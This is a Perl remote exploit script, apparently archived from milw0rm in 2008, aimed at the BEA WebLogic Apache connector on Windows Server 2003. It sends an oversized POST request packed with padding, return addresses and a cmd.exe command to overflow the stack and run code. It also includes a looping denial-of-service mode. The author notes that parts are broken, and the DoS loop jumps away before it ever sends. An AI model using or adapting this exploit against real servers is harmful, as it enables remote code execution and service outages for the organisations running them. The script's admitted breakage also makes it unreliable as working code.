#// Bea Weblogic -- Apache Connector Remote Exploit +-1day
#// Should stack break latest Windows Server 2003 <address space randomization>
#// BIG THANKS TO
#// "dong-hun you"(Xpl017Elz) in INetCop - for his paper
#// "Title: Advanced exploitation in exec-shield (Fedora Core case study)"
#// His technique works fine against Windows 2003 latest version.
#//
#// The code is broken, since I am chilling out for now
#// SKIDDI BULLETPROOF
#// You may fixup the DoS Code, Windows Code Works on English OSs
#// KingCope -- July/2008
use IO::Socket;
use strict;
$|=1;
my $apacheport = 80; #// Touch
###
my $wrongusage = 0;
my $dodoshost = 0;
###############################################################################
### Target List Entries |Operating System and Patch Level / Kernel Version|
###############################################################################
my @targets = ();
my @tgtname = ();
print "-" x 80;
$targets[0] = "1 Windows Server 2003 Enterprise Edition SP2 RC1 -- English\n";
$tgtname[0] = $targets[0];
$targets[100] = "2 Denial of Service\n";
$tgtname[100] = $targets[100];
###############################################################################
### Print Of Target List And Usage
###############################################################################
print "\n";
print "Bea Weblogic -- Apache Connector Remote Exploit\n\n";
print "Target List:\n";
foreach my $target (@targets) {
print $target;
}
print "\n\n";
print "-" x 80;
print "Usage: perl bea-unlock.pl <hostname or ip> <target>";
print "\n";
printusage:
if ($wrongusage == 1) { exit; }
################################################################################
### Argument Parsing
################################################################################
my $host = $ARGV[0];
my $target = $ARGV[1];
if (($host == "") || ($target == "")) {
$wrongusage = 1;
goto printusage;
}
################################################################################
### Setup Socket
################################################################################
setupsocket:
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $apacheport,
Proto => 'tcp');
if ($dodoshost == 1) {
goto doshost;
}
################################################################################
### Select Target
################################################################################
if ($target == 1) {
print "Exploiting $host -- " . $tgtname[$target-1];
goto winexpl;
}
if ($target == 2) {
print "Attacking Host $host -- Denial of Service -- Wait ...\n";
goto doshost;
}
################################################################################
### Exploitation of Windows Versions
################################################################################
winexpl:
####WORKS [LOOKUP THE HOSTNAME]
my $command = "echo works > c:\\desiredfile.txt";
my $cmds = "cmd.exe /c \"$command\"|";
my $sc = $cmds;
#### STACKBREAKING WITH WINEXEC() ON WINDOWS
my $c = "C" x 97 . pack("L", 0x10013930) x 3 . pack("L", 0x10013930) . pack("L", 0x10013931) . pack("L",0x77EA411E);
my $a = $cmds . "A" x (4000-length($cmds)) . $c;
print $sock "POST /.jsp $a\r\nHost: localhost\r\n\r\n";
while (<$sock>) {
print;
}
################################################################################
### Denial of Service Against The Apache Frontend Module For Bea Weblogic
################################################################################
####NEEDS SOME FIXUP
doshost:
$dodoshost = 1;
while(1) {
$a = "A" x 6000;
goto setupsocket;
print $sock "POST /.jsp $a\r\n\r\nHost: localhost\r\n\r\n";
while(read($sock,$_,100)) {
my $dosagain = 0;
if ($dosagain eq 1) {
"Server is down now\n";
exit;
}
if ($_ =~ /Server/) {
print ".";
$dosagain = 1;
next;
}
}
}
# milw0rm.com [2008-07-17]